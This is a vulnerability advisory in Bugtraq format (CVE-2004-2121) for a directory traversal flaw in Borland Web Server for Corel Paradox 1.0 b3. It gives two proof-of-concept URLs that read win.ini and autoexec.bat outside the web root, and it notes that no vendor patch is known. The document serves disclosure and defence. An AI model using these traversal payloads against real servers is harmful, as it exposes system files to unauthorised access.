Borland Webserver for Corel Paradox Directory Traversal Vulnerability

Bugtraq ID:	9486
Class:	Input Validation Error
CVE:	CVE-2004-2121
Remote:	Yes
Local:	No
Published:	Jan 24 2004 12:00AM
Updated:	Jul 12 2009 02:06AM
Credit:	Credited to Rafel Ivgi, The-Insider <[email protected]>.
Vulnerable:	Borland Web Server for Corel Paradox 1.0 b3
Not Vulnerable:

Borland Webserver for Corel Paradox Directory Traversal Vulnerability

A vulnerability in Borland Web Server for Corel Paradox has been reported that may allow a remote attacker to view files residing outside of the web server root directory on the affected system.

Borland Webserver for Corel Paradox Directory Traversal Vulnerability

The following proof of concept has been provided:

http://<host>/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
http://<host>/..................../autoexec.bat

Borland Webserver for Corel Paradox Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Borland Webserver for Corel Paradox Directory Traversal Vulnerability

References:

• BWS v1.0b3 Directory Transversal Vulnerability ("Rafel Ivgi, The-Insider" )